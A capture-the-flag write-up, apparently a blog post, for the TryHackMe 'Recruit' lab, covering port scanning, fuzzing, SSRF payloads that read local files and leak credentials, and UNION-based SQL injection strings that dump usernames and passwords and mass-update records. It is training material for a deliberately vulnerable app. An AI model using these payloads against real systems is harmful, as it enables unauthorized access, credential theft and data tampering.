Post

Recruit - TryHackMe - Recruit

Recruit - TryHackMe - Recruit

Recruit

Recruit is a CTF that challenges the user to map the structure of a Human Resources web application, exploit backend logic flaws, and ultimately gain administrator access.


Phase 1: Environment Setup

Before starting any enumeration, it is good practice to map the target IP address to a local domain name. This avoids confusion when dealing with multiple targets and ensures that virtual host (vhost) routing functions correctly if the server relies on the Host header.

hosts_file

We edit the hosts file:

1
sudo vim /etc/hosts

We add the target IP and map it to recruit.local. From this point forward, we will interact with the target using this domain.


Phase 2: Enumeration

Port Scanning

As is highly recommended, an Nmap scan should be performed in distinct stages to balance speed and accuracy.

Step 1: Initial Discovery

It is important to identify all open ports before running heavy enumeration scripts.

1
sudo nmap -p- --min-rate 5000 -Pn -T4 <objective IP> -oN all_ports.txt

Command Breakdown:

  • sudo: Running nmap as root allows for the default -sS (TCP SYN Stealth Scan), which is faster and quieter than a standard -sT (TCP Connect Scan).
  • -p-: Scan all 65,535 TCP ports.
  • --min-rate 5000: Forces Nmap to send at least 5000 packets per second, speeding up the scan dramatically.
  • -Pn: Treat the host as online (skips the initial ICMP ping check).
  • -T4: Aggressive timing template.
  • -oN all_ports.txt: Save the output in normal text format.

Step 2: Targeted Service Enumeration

Once the open ports are known (e.g., 22, 53, 80), we interrogate them to identify the running services and their versions.

1
sudo nmap -p 22,53,80 -sC -sV --min-rate 5000 -Pn <objective IP> -oN filtered_ports.txt

Command Breakdown:

  • -p 22,53,80: Scan only the specific ports we discovered in Step 1.
  • -sC: Run the default collection of Nmap vulnerability and discovery scripts.
  • -sV: Perform service version detection.

nmap

While TCP handles most web traffic, some services (like DNS or SNMP) run over UDP. UDP scanning is slower because there is no three-way handshake, so we limit it to the top ports.

1
sudo nmap -sU --top-ports 20 -Pn recruit.local -oN udp.txt

Command Breakdown:

  • -sU: Perform a UDP scan.
  • --top-ports 20: Scan only the 20 most common UDP ports to save time.

Phase 3: Web Discovery & Fuzzing

Navigating to the web portal on port 80, we find a corporate recruitment site.

Recruit_Web

A quick look around reveals a link to an accessible API documentation page:

API_Documentation

The documentation clearly states how to fetch a candidate’s CV using a specific endpoint:

1
2
You can fetch a candidate CV using the following endpoint:
/file.php?cv=<URL>

Directory Fuzzing

While we investigate this API endpoint, we run a directory brute-forcer in the background to discover hidden files or directories.

1
ffuf -u http://recruit.local/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .php,.html,.txt,.bak,.old -fs 1417 -c

Command Breakdown:

  • ffuf: A fast web fuzzer written in Go.
  • -u http://recruit.local/FUZZ: The target URL. The word FUZZ will be replaced by each word in the wordlist.
  • -w .../directory-list-2.3-medium.txt: The path to our wordlist.
  • -e .php,.html,.txt,.bak,.old: Tells ffuf to append these extensions to each word in the wordlist (e.g., trying admin.php and admin.bak).
  • -fs 1417: Filter Size. Ignore responses that are exactly 1417 bytes long (usually a generic “Not Found” or default page length), hiding clutter from our results.
  • -c: Colorize output for better readability.

ffuf

The fuzzer reveals a few interesting hits, including config.php. While assets and javascript return 301 (Redirect) codes indicating they are directories, config.php returns a 200 OK, but navigating to it in the browser results in a completely blank page.

config.php

This is normal for PHP configuration files; they execute on the server but usually don’t output any HTML. To read the source code of this file, we need a vulnerability.


Phase 4: Server-Side Request Forgery (SSRF)

Let’s return to the /file.php?cv=<URL> endpoint. Whenever an application takes a URL as a parameter and fetches it on the backend, it’s a prime target for a Server-Side Request Forgery (SSRF) attack or Local File Inclusion (LFI).

First, we test for LFI by trying to read /etc/passwd.

LFI_Test

This fails. However, since the parameter name is <URL>, we can assume it expects a protocol scheme. We can try to use the file:/// protocol to read local files via an SSRF vector: http://recruit.local/file.php?cv=file:///etc/passwd

SSRF

We receive an “Access denied” message. This means the SSRF payload executed, but the web user doesn’t have permissions to read /etc/passwd.

However, since config.php is in the web directory (which the web server does have permission to read), we can use the SSRF to fetch the internal source code of the file!

Payload: http://recruit.local/file.php?cv=http://127.0.0.1/config.php (or using file:///var/www/html/config.php if the absolute path is known).

config.php_SSRF

Success! The SSRF fetches the file and renders it in our browser, revealing the hardcoded database credentials:

1
hrpassword123

Phase 5: Authentication & SQL Injection

With the credential hrpassword123 (likely tied to the hr username based on the prefix), we navigate to the login page and authenticate successfully.

hrpassword123 dashboard.php

We land on dashboard.php, which contains our first flag (user.txt) and a search bar. Search functionality is a classic location for SQL Injection (SQLi) vulnerabilities.

To confirm our suspicions without blind guessing, we use our SSRF vulnerability one more time to fetch the source code of dashboard.php.

view_source_dashboard.php SSRF_dashboard.php

Reading the source code of dashboard.php confirms multiple flaws:

  1. Vulnerable SQL Query:
    1
    2
    
    $search = $_GET['search']; 
    $query = "SELECT * FROM candidates WHERE name LIKE '%$search%'";
    

    The $search variable is concatenated directly into the SQL string without any sanitization or parameterization (Prepared Statements). This allows us to break out of the query structure. It also outputs $sqlError, meaning if we make a syntax mistake, the database will complain visibly, making exploitation much easier.

  2. Poor Access Control:
    1
    2
    3
    4
    5
    
    if ($_SESSION['role'] === 'hr') {
        $flagPath = '/user.txt';
    } elseif ($_SESSION['role'] === 'admin') {
        $flagPath = '/admin.txt';
    }
    

    The code doesn’t verify the user role to execute search queries, only to display the specific flag paths.

Exploiting the SQL Injection

Since the query uses SELECT *, we can use a UNION SELECT attack to append our own data to the results. First, we need to determine the number of columns the original query is returning.

We test by injecting:

' UNION SELECT 1,2,3,4-- -

(The ' breaks out of the LIKE '%... clause, the -- - comments out the rest of the query).

SQLi_Proved

The numbers render on the page, confirming there are 4 columns and that the injection works perfectly.

Now we escalate to dump the database structure. We query the information_schema.tables to find the names of the tables in the current database.

' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -

table_name

We see a table named users. Let’s find out what columns it contains by querying information_schema.columns.

' UNION SELECT 1, group_concat(column_name), NULL, NULL FROM information_schema.columns WHERE table_name = 'users'-- -

column_name_users

The application responds with the column names: id, username, password, and others (or similar).

Finally, we extract the admin credentials from the users table. We use AND 1=0 at the beginning so the legitimate candidate search returns false and only our injected UNION results are printed.

' AND 1=0 UNION SELECT 1, username, password, id FROM users-- -

admin_get

With the admin credentials in hand, we log out and log back in as admin.

admin_log_in

We are granted access to the admin dashboard, where the final flag awaits!


Extra: The Broken Update Function

While auditing the dashboard.php code via our SSRF, another critical vulnerability was spotted:

1
2
3
4
if ($_SESSION['role'] === 'admin' && isset($_GET['action'], $_GET['id'])) {
    $id = $_GET['id'];
    // ...
    $updateQuery = "UPDATE candidates SET status='$status' WHERE id=$id";

Because the $id variable is pulled directly from the $_GET request and immediately placed into the UPDATE statement without casting it to an integer or using prepared statements, this is vulnerable to SQL injection as well.

As an admin, we can craft a Proof of Concept (PoC) to universally update the database:

Reject_Update

1
http://recruit.local/dashboard.php?action=reject&id=1+OR+1=1

(The payload 1 OR 1=1 resolves to true for every single row in the database, meaning every single candidate is now updated to the status “rejected”.)

HAPPY HACKING!!!!

This post is licensed under CC BY 4.0 by the author.